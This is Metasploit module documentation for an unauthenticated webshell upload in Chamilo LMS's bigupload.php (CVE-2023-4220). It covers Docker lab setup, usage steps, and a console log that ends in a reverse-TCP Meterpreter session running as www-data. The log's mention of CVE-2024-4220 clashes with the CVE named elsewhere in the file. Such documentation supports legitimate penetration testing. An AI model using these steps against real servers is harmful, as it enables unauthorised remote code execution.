metasploit-gs/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md

Vulnerable Application

Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24 a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter action is set to post-unsupported file extension checks are skipped allowing for attacker controlled .php files to be uploaded to: /main/inc/lib/javascript/bigupload/files/ if the /files/ directory already exists - it does not exist by default.

Setup

A vulnerable docker-compose configuration can be found at the following link: https://github.com/vulhub/vulhub/pull/559

1. Clone the repo git clone https://github.com/vulhub/vulhub.git
2. Checkout the pull request mentioned above: git checkout CVE-2023-4220
3. Run cd vulhub/chamilo/CVE-2023-4220
4. Start the environment: docker compose up
5. Navigate to http://127.0.0.1:8080 to complete the installation wizard.
6. Note when filling out the database IP address and credentials - the DB hostname is the name of the container which is mariadb (not localhost or 127.0.0.1).
7. Once the installation wizard is complete the target should be ready to be exploited with the module. This container has the non-default /files/ directory created already.

Verification Steps

1. Start msfconsole
2. Do: use linux/http/chamilo_bigupload_webshell
3. Set the RHOST, RPORT, and LHSOT options
4. Run the module
5. Receive a Meterpreter session as the www-data user.

Scenarios

Chamilo 1.11.18 running in Docker

msf6 > use linux/http/chamilo_bigupload_webshell
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rport 8080
rport => 8080
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/chamilo_bigupload_webshell) > show options

Module options (exploit/linux/http/chamilo_bigupload_webshell):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    8080             yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/chamilo_bigupload_webshell) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.
[+] The target is vulnerable. File upload was successful (CVE-2024-4220 was exploited successfully).
[*] Sending stage (40004 bytes) to 172.16.199.1
[+] Deleted 1nZaWHvP
[+] Deleted kFAqQcbWxs.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:60031) at 2024-11-11 10:42:06 -0800

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : c2064983b0e1
OS          : Linux c2064983b0e1 6.10.11-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Oct  3 10:19:48 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter >